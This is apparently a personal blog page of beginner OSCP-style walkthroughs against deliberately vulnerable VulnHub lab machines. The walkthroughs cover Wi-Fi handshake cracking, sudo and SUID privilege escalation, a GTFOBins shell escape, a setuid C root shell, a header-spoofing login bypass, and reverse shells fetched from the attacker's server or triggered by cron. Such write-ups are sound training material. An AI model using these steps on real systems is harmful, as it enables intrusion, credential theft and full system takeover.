oscp – TCERT

July 21, 2020July 21, 2020

Let’s take down victim01

Overview:

Pwned Machine IP Address: 192.168.56.38
My Machine IP Address: 192.168.56.20

Mission:

To gain access to root and read the flag file Flag.txt.

Download:

You can download the machine from here.

************************************

Information Gathering & Scanning Process:

sudo arp-scan --interface=eth0 192.168.56.1/24

nmap -sC -sV -p- -o nmap.log 192.168.56.38

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

8080/tcp open http BusyBox httpd 1.13

8999/tcp open http WebFS httpd 1.21

9000/tcp open http PHP cli server 5.5 or later (PHP 7.2.30-1)

http://192.168.56.38:8999

Let’s download WPA-01.cap

Let’s run the packet in wireshark

wireshark WPA-01.cap &

I tried my best to dive into the cap file, I was not able to get any anything concrete. Based on our previous machine that we did, I am having a hunch that we will get a username and a password out of this.

Although it shows many connected devices to the router (dlink), only dlink did work as a username. You might be wondering how I got the password? You might know if you have read this post.

Yeah I did run aircrack-ng on the CAP file with rockyou file.

aircrack-ng WPA-01.cap -w /usr/share/wordlists/rockyou.txt

Yes, the password is p4ssword

ssh dlink@192.168.56.38        password: p4ssword

I made it a habit that as soon as I get a limited (or user shell), I do manually check all the low hanging fruits.

Such as

sudo -l

cat ~/.viminfo

crontab -l

history

find / -perm -u=s -type f 2>/dev/null

find / -perm 0777 -type f 2>/dev/null

find / -writable -type d 2>/dev/null

to name a few. If I don’t find anything then I use linpeas.sh and other scripts, by uploading those to /tmp folder of that limited user account.

We found something interesting.

https://gtfobins.github.io/gtfobins/nohup/

Note: kindly bookmark this website site. https://gtfobins.github.io/

nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)"

yeah, we got the flag..

Method 2:

To check writeable directory

find / -writable -type d 2>/dev/null

/var/www/bolt/public/files  it has the 777 permissions

If you have carefully read the output from nmap, you might have seen that the server is running PHP cli server. That means we can upload a php reverse shell.

Let’s do that..

On Kali Machine

I have downloaded and stored my shells and other tools at /opt

python -m SimpleHTTPServer 8000

On Victim01 Machine

cd /var/www/bolt/public/files/

wget 192.168.56.33:8000/php-reverse-shell.php

chmod +x php-reverse-shell.php

And also change the IP address and Port of your choice. Mine IP: 192.168.56.33 Port:1234

Let’s set up an nc setup on Kali Machine to receive a reverse connection from the Victim01 machine.

I tried to execute the PHP shell on the victim machine to get the reverse connection and I get a limited shell. However, when I try to view the PHP shell through the browser, I got a shell with root privilege. To be honest, I don’t know what is the primary reason behind it and I think I will need to explore more on this. However, I am gonna keep this in mind while I do shelling other boxes in the future.

yes, another way to get root!

That’s all guys 🙂

July 9, 2020July 11, 2020

Writeup for Troll3 machine

Overview:

Pumpkin Raising Machine IP Address: 192.168.56.26
My Machine IP Address: 192.168.56.1

Mission:

To gain access to root and read the flag file Flag.txt.

To know the IP address of the Target Machine:

sudo arp-scan --interface=vboxnet0 192.168.56.1/24

Scanning the Network

nmap -sC -sV -p- 192.168.56.26 -o nmap.log

sC default nmap script
sV reveal what services are running on the target machine with respective version numbers
-p- it means scan all the ports (65535)
-o ouput save to nmap.log

When I look at the vm, I can see that there is start:here. I tried ssh with start as username and here as the password

Since the user “start” not a sudo user therefore, I was not able to know what sudo command it could run.

However, there were two folders.

bluepill
- awesome_work
redpill
- this_will_surely_work

Both awesome_work and this_will_surely_work are ASCII text file.

bluepill has a shorten link, I am afraid it might automatically do some drive-by attack at hind, so let’s do a virustotal scan.

Virustotal report didn’t show any threat. (nevertheless, some good cryptor could bypass such scan and let’s not discuss it here)

Now, let’s unshorten the link. There are many free services available online and you can choose based on your preference.

Ok, it’s just a rabbit hole.

cat redpill/this_will_surely_work

Another rabbit hole : (

Let’s enumerate the target machine, whether it has only binary or file which has enabled SUID or SGID.

find / -perm 0777 -type f 2>/dev/null

Since, I am using uBuntu Desktop, I need to install openssh-server package to receive binaries from the target machine.

sudo apt install openssh-server -y

sudo systemctl start ssh

scp /var/log/.dist-manage/wytshadow.cap researcher@192.168.56.1:/home/researcher/vulhub/Troll3/2

Narration: I am trying to transfer wytshadow.pcap file from the victim machine to my local machine at /home/researcher/vulhub/Troll3/2

Transfer the gold_star.txt (looks like it is list of password dictionary)

We can analyze the wytshadow.cap with Wireshark (GUI) software. However, we will try to analyze it with tcpdump (Terminal) software.

tcpdump pending

By the look of it, I am going to guess wytshadow as username and password are in the .cap file.

We can crack the password using aircrack-ng package with password dictionary list which we got from the victim machine – gold_star.txt .

aircrack-ng -w gold_star.txt wytshadow.cap

gaUoCe34t1

ssh wytshadow@192.168.56.26

password: gaUoCe34t1

./oohfun

control+c to stop the execution

I checked crontab and no entry was there.

let’s figure out whether any sudo enabled binary is there.

password: gaUoCe34t1

Yes, we got something

Let’s checkout nginx configuration file, enumerate on which port it is listening. You might think why I am all of sudden taking interest in the config file. It’s because sudo is enabled on nginx. Therefore, I am trying to find some information which could be leveraged.

cat /etc/nginx/sites-enabled/default

You can see that there is a service Lynx is going to run on port 8080, if nginx runs.

Let’s verify whether is there any process running with port 8080.

netstat -ntap

Actually, this is a redundant task because we know that from the nmap.log result, we can conclude that no service is running on port 8080.

Anyway, let’s start the nginx service and, I need to google and get to know little bit about Lynx service

/usr/sbin/service nginx start

now, Lynx is listening at port 8080.

I understood now the usage of Lynx. It is more like a browser for the command line. You can read more from here.

For our purpose, what we can do is

lynx http://192.168.56.26:8080

genphlux:HF9nd0cR!

ssh genphlux@192.168.56.26

password: HF9nd0cR!

cat maleus

copied the content of the maleus to key

chmod 400 key

In my opinion, there might be username maleus and ssh key is the above key. Shall we try that ?

ssh maleus@192.168.56.26 -i key

indeed, it did work!

ls

dont_even_bother

file dont_even_bother

We understood it is an ELF 64-bit LSB executable.

Let’s execute it. (This approach is risk and provided you are a malware analyst, don’t execute anything on your host machine but virtual machine).

./dont_even_bother

It is expecting a password and I did try things which I could think of. No luck 🙁

Let me run a strings command

strings dont_even_bother | less

We got something interesting
screenshot
xl8Fpx%6

just a rabbit hole

cat /etc/os-release

VERSION="18.04.2 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.2 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic

I am a little desperate here because I was not able to find anything useful. I checked the kernel version, OS release, crontab entries, history, etc..

When I tried
cat .viminfo | less
guess what I got ?

password: B^slc8I$ (I am not sure the use of it).

Shall we try sudo -i ?

No, it is not the password: B^slc8I$ (let’s keep with us a little while)

I tried sudo -l
password: B^slc8I$

Yeh! Finally…

We can use an exploit to escalate the privilege to root user.. because dont_even_bother is running with root privilege..

vi dont_even_bother

#include
#include
#include<sys/types.h>

int main()
{
setuid(geteuid());
system("/bin/bash");
return 0;
}

:wq! (To get out from vim – for new users)
source code credit

To compile it

gcc dont_even_bother.c -o dont_even_bother

some gibberish error may come, don’t worry about those..

Let’s execute our code

sudo ./dont_even_bother

March 27, 2020April 29, 2020

Will I able to pwn “Lord Of the Root” ?

Hello there,

I hope you are all safe and doing well. I am not sure whether it is a good idea however, instead of prayer all the time why not I volunteer to do the errand of old people around the place I stay, to purchase groceries and basic necessary things during the lock down period. So I am going to make few notice page and leave my contact there provided anybody require my help. Yes, my parents are in Tibet which I can’t physically help them but I do believe in karma. If I help the people in here, there will be kind and compassionate people over there who will assist my parent 🙂 (Even if it is just a fallacies, I am gonna believe it :))

OK. Today, I am going to do a very challenging box (at least to me lol). Hopefully, it won’t beat me black and blues lol

Step 01:

ifconfig

Kali Linux IP: 192.168.56.11

Step 02:

Target machine IP: 192.168.56.19

You can try any methods

Continue reading “Will I able to pwn “Lord Of the Root” ?”

March 22, 2020April 29, 2020

Me and My Girl Friend – This is the machine name lol

Today is 22nd March and we are having all India curfew to “stay at Home” from the COVID-19. Had a good breakfast and by the time I was washing my face, a kettle of water is already boiled. So, everything set to pwn the machine.

*********************************************************************************************

Description og the Game:

This VM tells us that there are a couple of lovers namely Alice and Bob, where the couple was originally very romantic, but since Alice worked at a private company, “Ceban Corp“, something has changed from Alice’s attitude towards Bob like something is “hidden”, And Bob asks for your help to get what Alice is hiding and get full access to the company!

Difficulty Level: Beginner

Notes: there are 2 flag files

Learning: Web Application | Simple Privilege Escalation

Download the Machine from this link: Click Here

********************************************************************************************************************************************

Step 01:

sudo ifconfig

My Kali Linux Machine IP address is: 192.168.56.11

Step 02:

nmap 192.168.56.11/24 > target_ip.log 

cat target_ip.log

I know save this output because I get confused with different IP addresses (recently I been playing with couple of machines)

So the Target Machine IP address is: 192.168.56.17

Step 03:

Let’s find what services, service version and port numbers is currently running on it.

nmap -sC -sV -p- 192.168.56.17 -oN nmap.log

Step 04:

It is confirmed that a webserver (Apache) is running on it. Besides, result of step 03 is very important. If we can’t find anything useful, we will have to go through it again and attack another services etc.. So keep this in mind.

Let’s find files in the webserver.. Which usually you can do with nikto or gobuster. I do both.

nikto -h 192.168.56.17 > nikto.log

Visit the website and files we found through nikto scanner

1.1 Visit website.

“The site can only be accessed local” which is very important hint. (localhost or 127.0.0.1)

1.2. Source code: Ctrl+U (on firefox)

very important hint “use x-forwarded-for”

To be honest, I know it will act as redirection but I don’t know the syntax so I googled and I got this ..

So the syntax is

x-forwarded-for localhost

1.3 At this time, I just fire-up my burp suite and modified the request. (let me know if you don’t know how to use burpsuite or configure it, in the comment).

I had to manually put the custom header value there on each request (x-forward-for: localhost) However, I am very happy with the result and perhaps when time permits me today, I will read more on how to automate this, so that I won’t have to spend that much time for such task 🙂

Yes, when I see the login page I felt very excited and google few sql cheat sheet right away and start experimenting. Nevertheless, I was no luck. However, if you have read the last couple of post, I did LFI to one of the box. So, I thought why not I open an account and upload my shell in there. (usually this is done during the bug bounty too)

So I began to messing with the ID values up in the URL location. I place 1 there and checked, then 2, and then 3… I enumerate till 6 and I got all the user registered on this website with their password.

If you do remember the game description which is at the very beginning of this write up, our person of the interest is alice.

Yeah, we got the password of user alice.

username: alice 
password: 4lic3

As per the nmap result, we know that the SSH protocol is running on the box.

ssh alice@192.168.56.14

Usually, I used to think how come those blogger knows everything about the box.. Now I realized it. I tried SUID binaries and tried and ran into my rabbit holes, but I didn’t write it here lol

While I was solving the previous box, the author trolled me to wait for password (although there isn’t one) and the user itself is sudo user so no complex exploit is required to root that. Therefore, in this box, I would like to test whether the current user has sudo on it. So I googled the syntax and guess what I got?

Yes, /usr/bin/php has root privilege enabled on it.

I know through python, we can escalate the privilege by writing three lines of code (to set value for setuid, setgid). However, I have no idea with PHP. So I googled a little and thought it will be faster to ask some pointer from OSCP STUDY GROUP.

Indeed I got help and I was able to root it within few seconds. (using this link)

So I will not write details of it, because everything is there in that link. Probably you should read a little too 🙂

As per the requirement, we need to get two flags and root the system.

So far we root the system and got one flag.

However, another one I am not sure where it is. Let’s use the power of find command lol

find / -name gfriEND*

No, I didn’t find anything. Let’s enumerate again carefully this time…

Yes, indeed.. it is here… fishhhhhhh lol

Flag 01 is here:

Final Assign and message which Bob wish to know is here.

Going to prepare lunch now.. Hopefully I could take down another box today 🙂

March 19, 2020April 29, 2020

owing born2root

Hello and Tashi Delek everyone,

Although there isn’t many COVID19 cases around the place I stay, the ominous air of uncertainty and concern from the people getting increases. By the way, I reached Dharamsala yesterday and, as soon as I got in room, I did wash all the clothes I wear during the journey (I took a flight and a bus to reach here), and apart from few electronic gadgets, literally I washed everything and had loaded my kitchen with rations (this is my ritualistic habit whenever I get back to room, not because of the current situation though) and other amenities.

After a sumptuous meal, I retired early yesterday.

Anyway, I woke up around 5 o’clock today and feeling fresh and rejuvenated. Nevertheless, I had to wait till April to renew my internet connection.

I thought why not I play this “born2root” to kill some time, because I find it abnormally quiet here (because at Bangalore, I stay at my friend’s place and usually commotion of college students push life in the atmosphere there). Am I missing the place?!

Let’s see whether we can break this machine or not 🙂

Step 01: ifconfig 

Kali Machine IP: 192.168.56.11

Step 02: nmap  192.168.56.11/24 > target_ip.log 

Target Machine IP: 192.168.56.14

Step 03: Information Gathering 

nmap -sC -sV -p- 192.168.56.14 -oN nmap.log

From the output, I can deduce that it runs SSH, Apache webserver and rpcbind. Let’s check the low hanging first. The web part.

It has a website on it, it reveals lot of information. I am not sure why, but I feel like taking the website content (including keywords and usernames) to make a list, perhaps I could use it as dictionary later on.

http://192.168.56.14

Then I visit robots.txt and I didn’t get potential information. I did run exiftool on the image though..

I ran nikto to enumerate and usually if I don’t find any, I use gobuster.

nikto -h 192.168.56.14 > nikto.log

Indeed, it shown couple of interesting information however, much of those yield no important information apart from one file.

I visited the first two text files, I got this key.

I didn’t check further because I got this key. However, if it is real application, I would definitely download the entire pictures and analyze each one though.

Remember, we got couple of good username from the above steps. So, first is martin, I tried to login with this username.

ssh -i id_rsa martin@192.168.56.14

Oh my god, I used a good amount of time, simple to know the password for it. It really got me.. IT”S A TROLL AND YOU JUST NEED TO PRESS ENTER!

And then, I reached to a state that I couldn’t find anything.. Here is the proof that what I was doing..

At this moment, I really learned a new tip, that is if you want to check whether any cron job is set or not, don’t just depend on crontab -l

But check,

cat /etc/crontab          to know the full entry of cron. I learned this from other blog

yes, from above write we can see that there is a cronjob entry for user jimmy which runs at every 5 minutes. Therefore, I copied a python reverse shell command from pentest monkey.And waiting for the reverse connection. So finger cross 🙂

By the way, if you are not getting reverse connection, try to polish the script you copy from the pentest money and make it more like native python program (like how we used to write normally with shbank). By the way, don’t try to execute the python program, you can get the reverse shell connection with martin user again. So patiently wait for five minutes or go and fill up your tea cup 🙂

yes, I got the reverse connection of user jimmy.

Then, I try to switch user to jimmy and martin and it was not successful. I reached my wits end. Had a delicious mushroom noodle with broth made of vegetables. (Yeah, I am veggie lol). Then had brushed my teeth and literally if I can pwn this box, I am sure I will have a great sleep 😉

I googled and came to know of a beautiful tool called cewl. I try with hydra and it was not successful. Then, I read this writeup. The author tried a tool called cupp to generate dictionary and it was beautiful. Nevertheless, I was not able to crack with hydra. I read the writeup again and check it again and it seems the password of user hadi is hadi123. I was little baffled why the wordlist generator eliminate such obvious password. Anyway, I add it manually to my dictionary and it helped me confirm that it was not hydra’s fault. Cheers buddy lol

And I got login [You can click on the image to see the command]

Finally, here is the flag 🙂